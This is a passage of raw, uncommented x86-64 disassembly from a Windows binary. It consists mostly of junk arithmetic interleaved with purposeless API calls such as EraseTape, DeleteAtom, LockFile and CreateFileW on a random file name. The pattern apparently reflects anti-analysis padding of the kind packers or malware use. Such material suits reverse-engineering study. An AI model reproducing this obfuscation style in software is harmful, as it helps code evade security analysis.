mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13790]
mov dword [rcx], eax
lea rax, [rsp + 0xa850]
mov qword [rsp + 0x13ac0], rax
mov rax, qword [rsp + 0x13418]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8d4]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rax, [rsp + 0xa988]
mov qword [rsp + 0x13ac8], rax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13430]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x134b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x96a4]
mov dword [rsp + 0xaa6c], eax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [0x1403639f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa3c], eax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c2]
imul eax, ecx
mov rcx, qword [0x140363a08]
mov byte [rcx], al
mov rax, qword [rsp + 0x13618]
movzx eax, word [rax]
mov word [rsp + 0x2a5c], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [0x140363a50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x594], al
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13948]
mov word [rcx], ax
mov rax, qword [rsp + 0x13908]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70b8], eax
mov rcx, qword [rsp + 0x13580]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0xa8e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8c4], eax
mov eax, dword [rsp + 0xa854]
mov dword [rsp + 0xaa70], eax
mov rax, qword [rsp + 0x13760]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7908], eax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140353576], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a50]
mov dword [rcx], eax
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa92c], eax
lea rax, [rsp + 0xa930]
mov qword [rsp + 0x13ad0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa50], eax
mov rax, qword [rsp + 0x139f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa974]
shl eax, cl
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3590
mov r9d, 0x2412
mov r8d, 0x38a5
mov edx, 0x299a
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaa74], eax
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov dword [rsp + 0xaa78], eax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13698]
mov byte [rcx], al
movzx eax, word [0x140362b9c]
movzx ecx, word [rsp + 0x298c]
sar eax, cl
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13428]
movzx eax, word [rax]
mov word [rsp + 0x2a64], ax
mov rax, qword [rsp + 0x13288]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c7]
and eax, ecx
mov byte [rsp + 0x6bb], al
lea rax, [rsp + 0x7a10]
mov qword [0x140363ad8], rax
mov rax, qword [rsp + 0x13328]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8f8c], eax
movzx eax, word [rsp + 0x19f8]
mov rcx, qword [0x140363958]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [rsp + 0x6b7], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29bc], ax
lea rax, [rsp + 0xaa40]
mov qword [rsp + 0x13ad8], rax
mov rax, qword [rsp + 0x13710]
mov ecx, dword [rsp + 0x64f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6768], eax
lea rax, [rsp + 0x7758]
mov qword [rsp + 0x13ae0], rax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [rsp + 0x8b00]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x13ae8], rax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0x6c5]
sub eax, ecx
mov byte [0x140353577], al
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a68], ax
mov eax, dword [rsp + 0xaa20]
mov ecx, dword [rsp + 0x965c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8cc], eax
mov eax, dword [rsp + 0xaa6c]
mov ecx, dword [rsp + 0xa9f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x13958]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c0], eax
mov eax, dword [rsp + 0x96e4]
mov dword [rsp + 0xaa7c], eax
mov rax, qword [rsp + 0x135d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa184]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7200], eax
mov rax, qword [rsp + 0x13a68]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x66e0], eax
movsx eax, word [rsp + 0x2a5c]
movsx ecx, word [rsp + 0x2a34]
xor eax, ecx
mov rcx, qword [rsp + 0x13428]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2984]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a6c], ax
mov rax, qword [rsp + 0x136a0]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4a7]
shl eax, cl
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x13af0], rax
movzx eax, byte [rsp + 0x6c5]
movzx ecx, byte [rsp + 0x6c4]
sar eax, cl
mov byte [0x140353577], al
mov rax, qword [rsp + 0x132a8]
mov rcx, qword [0x140363968]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov dword [rsp + 0xaa80], eax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x13838]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29c0], ax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
mov rcx, qword [0x140363a50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
lea rcx, [rsp + 0x41b68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x9564]
mov dword [rsp + 0xaa84], eax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x924c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fdc], eax
mov rax, qword [rsp + 0x135b0]
mov rcx, qword [rsp + 0x13840]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x135b0]
mov dword [rcx], eax
lea rax, [rsp + 0x22a]
mov qword [0x140363ae0], rax
movzx ecx, word [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a70], ax
movzx eax, word [rsp + 0x29dc]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19f8], ax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0x13af8], rax
mov rax, qword [rsp + 0x132d0]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa58], eax
movzx eax, word [rsp + 0x2990]
mov word [rsp + 0x2a74], ax
movsx eax, byte [rsp + 0x6b6]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
mov rax, qword [rsp + 0x134f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b8]
sub eax, ecx
mov byte [rsp + 0x42a], al
mov rax, qword [rsp + 0x13a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa0c], eax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov rcx, qword [0x1403639a0]
mov qword [rsp + 0x13b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b00]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035cbf0], eax
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x13b08], rax
mov eax, dword [rsp + 0xaa78]
mov ecx, dword [rsp + 0xa9a4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa40]
mov dword [rsp + 0xaa88], eax
mov rax, qword [rsp + 0x13838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f8]
sar eax, cl
mov rcx, qword [rsp + 0x137e0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
lea rcx, str.JziLj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29fc], ax
xor r9d, r9d
lea r8, [rsp + 0x133a8]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13780]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa8c], eax
mov rax, qword [rsp + 0x13890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x42a], al
lea rax, [0x140363a64]
mov qword [rsp + 0x13b10], rax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6768], eax
mov eax, dword [rsp + 0xaa6c]
mov ecx, dword [rsp + 0xa3f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8428], eax
mov dword [rsp + 0x20], 0x6a3
mov r9d, 0xf13
mov r8d, 0x3e3
mov edx, 0x26be
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x13460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9f8]
add ecx, eax
mov eax, ecx
mov dword [0x14035cbdc], eax
movzx eax, byte [rsp + 0x4bc]
movzx ecx, byte [rsp + 0x65d]
or eax, ecx
mov byte [rsp + 0x22a], al
movzx eax, word [rsp + 0x29ec]
mov rcx, qword [rsp + 0x138c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x139d8]
movzx eax, word [rax]
mov word [rsp + 0x2a78], ax
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x6bd]
movsx ecx, byte [rsp + 0x40c]
and eax, ecx
mov rcx, qword [rsp + 0x13810]
mov byte [rcx], al
mov eax, dword [rsp + 0xa9a4]
mov dword [rsp + 0xaa90], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x136e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a28]
mov eax, dword [rax]
mov dword [0x140363ae8], eax
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7b4]
sar eax, cl
mov rcx, qword [rsp + 0x139f0]
mov dword [rcx], eax
lea rax, [0x14035cbdc]
mov qword [rsp + 0x13b18], rax
mov rax, qword [rsp + 0x13908]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7dfc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaa94], eax
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
mov word [rsp + 0x2a7c], ax
movzx eax, byte [0x140353576]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x256], al
mov eax, dword [rsp + 0xa724]
mov ecx, dword [rsp + 0xa8bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f8c], eax
lea rax, [rsp + 0x8178]
mov qword [rsp + 0x13b20], rax
mov eax, dword [rsp + 0xa9dc]
mov ecx, dword [0x140363ae8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov rcx, qword [rsp + 0x136a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363960], eax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x71c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x95dc], eax
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x134f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13830]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a74], ax
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0x13720]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13598]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6c3], al
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa940], eax
lea rax, [rsp + 0x6768]
mov qword [rsp + 0x13b28], rax
mov eax, dword [rsp + 0xa928]
mov ecx, dword [rsp + 0xa95c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f4], eax
movzx eax, byte [rsp + 0x6c4]
mov rcx, qword [rsp + 0x13788]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
lea rax, [rsp + 0x2a80]
mov qword [0x140363af0], rax
mov rax, qword [rsp + 0x132c0]
mov eax, dword [rax]
mov dword [rsp + 0xaa98], eax
mov rax, qword [rsp + 0x136d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
lea rax, [rsp + 0x7c34]
mov qword [rsp + 0x13b30], rax
mov rax, qword [0x140363978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
lea rax, [rsp + 0x6b8]
mov qword [rsp + 0x13b38], rax
movzx eax, word [rsp + 0x2a7c]
movzx ecx, word [rsp + 0x2a18]
xor eax, ecx
mov word [rsp + 0x2a80], ax
mov eax, dword [rsp + 0xa850]
movzx ecx, al
mov eax, dword [rsp + 0x9564]
shl eax, cl
mov rcx, qword [rsp + 0x138d0]
mov dword [rcx], eax
lea rdx, [rsp + 0x13750]
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa9c], eax
mov eax, dword [rsp + 0xa8ec]
mov rcx, qword [rsp + 0x138b8]
mov qword [rsp + 0x13b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9784], eax
lea rax, [rsp + 0x2a5c]
mov qword [0x140363af8], rax
mov rax, qword [rsp + 0x13810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6b2]
or eax, ecx
mov byte [rsp + 0x305], al
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13928]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x136e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13350]
mov ecx, dword [rsp + 0x7118]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x965c], eax
mov rax, qword [rsp + 0x135c0]
mov rcx, qword [rsp + 0x13350]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8414], eax
mov eax, dword [rsp + 0xa914]
mov ecx, dword [rsp + 0x8398]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8bc], eax
mov rax, qword [rsp + 0x13ae0]
mov eax, dword [rax]
mov dword [rsp + 0xaaa0], eax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [0x140353576]
add eax, ecx
mov byte [rsp + 0x6c4], al
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140363a30]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x2530
mov r9d, 0x141b
mov r8d, 0xb07
mov edx, 0x3cb9
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa8a8], eax
lea rax, [rsp + 0xa8e4]
mov qword [rsp + 0x13b48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.fnFyeIICpb0_soXDZvLX0HUTVl9Yp4Wo1m
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13b50], rax
mov rax, qword [0x1403639a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7908], eax
mov rax, qword [rsp + 0x13a48]
mov eax, dword [rax]
mov dword [rsp + 0xaaa4], eax
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x898c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13790]
mov dword [rcx], eax
movzx eax, word [0x140362bb4]
movzx ecx, word [rsp + 0x29b8]
add eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x13458]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x594]
sar eax, cl
mov byte [rsp + 0x166], al
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x5fd]
xor eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
lea rax, [rsp + 0x2990]
mov qword [rsp + 0x13b58], rax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13640]
mov qword [rsp + 0x13b60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b60]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035cc10], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [0x1403639d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa930], eax
mov rax, qword [rsp + 0x13838]
movzx eax, word [rax]
mov word [rsp + 0x2a88], ax
movzx eax, byte [rsp + 0x6bc]
movzx ecx, byte [rsp + 0x6b7]
and eax, ecx
mov byte [rsp + 0x6c1], al
mov rax, qword [rsp + 0x13688]
mov rcx, qword [rsp + 0x138b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13818]
mov dword [rcx], eax
lea rax, [rsp + 0x6304]
mov qword [rsp + 0x13b68], rax
mov eax, dword [rsp + 0xa96c]
mov ecx, dword [rsp + 0xaa60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x96a4], eax
mov rax, qword [0x140363a00]
mov rcx, qword [rsp + 0x13a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x86a8], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13838]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29ec], ax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
sub eax, ecx
mov byte [0x14035e4d5], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov dword [rsp + 0xaaa8], eax
mov rax, qword [0x1403639d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7758]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x920c], eax
lea rax, [rsp + 0x96e4]
mov qword [rsp + 0x13b70], rax
lea rdx, [rsp + 0x13268]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9bc], eax
mov rax, qword [rsp + 0x13728]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6ba]
xor eax, ecx
mov byte [rsp + 0x43e], al
movzx eax, word [rsp + 0x2990]
mov word [rsp + 0x2a8c], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x4bc]
shl eax, cl
mov rcx, qword [rsp + 0x136e8]
mov byte [rcx], al
lea rax, [0x14035cbe0]
mov qword [0x140363b00], rax
lea rax, [rsp + 0xa944]
mov qword [rsp + 0x13b78], rax
mov eax, dword [rsp + 0xa954]
movzx ecx, al
mov eax, dword [rsp + 0xa948]
shr eax, cl
mov dword [rsp + 0xaa80], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [0x140363958]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x184c], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42a]
sub eax, ecx
mov rcx, qword [rsp + 0x13518]
mov byte [rcx], al
mov rax, qword [rsp + 0x13550]
mov ecx, dword [rsp + 0xaa70]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x73a8], eax
mov rax, qword [0x140363ad8]
mov eax, dword [rax]
mov dword [rsp + 0xaaac], eax
mov eax, dword [rsp + 0x9564]
mov ecx, dword [rsp + 0xa95c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x137e8]
mov dword [rcx], eax
lea rax, [rsp + 0xaaa0]
mov qword [rsp + 0x13b80], rax
mov rax, qword [rsp + 0x136e8]
movzx eax, byte [rax]
mov rcx, qword [0x1403639f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14035e4d4], al
lea rcx, [rsp + 0x41b98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x184c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0x13790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa90], eax
mov eax, dword [rsp + 0x96a4]
mov ecx, dword [rsp + 0x7c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x717c], eax
mov rax, qword [rsp + 0x13a70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
sub eax, ecx
mov byte [rsp + 0x6bd], al
lea rax, [0x140362bf4]
mov qword [rsp + 0x13b88], rax
movzx eax, word [rsp + 0x29e4]
movzx ecx, word [rsp + 0x2a18]
sub eax, ecx
mov rcx, qword [rsp + 0x13240]
mov word [rcx], ax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13870]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [0x140363968]
mov eax, dword [rax]
mov dword [rsp + 0xaab0], eax
mov rax, qword [rsp + 0x13960]
mov eax, dword [rax]
mov dword [0x140363b08], eax
mov eax, dword [rsp + 0x6d90]
mov rcx, qword [rsp + 0x135d8]
mov qword [rsp + 0x13b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x13a78]
mov rcx, qword [0x140363ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9568], eax
mov rax, qword [rsp + 0x13478]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x137e8]
mov qword [rsp + 0x13b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x139e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1088], ax
movzx eax, byte [0x14035e48e]
mov byte [rsp + 0x6c9], al
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0xaaa4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9d4], eax
lea rax, [rsp + 0x6768]
mov qword [rsp + 0x13ba0], rax
mov rax, qword [rsp + 0x13508]
mov ecx, dword [rsp + 0xaa58]
mov eax, dword [rax]
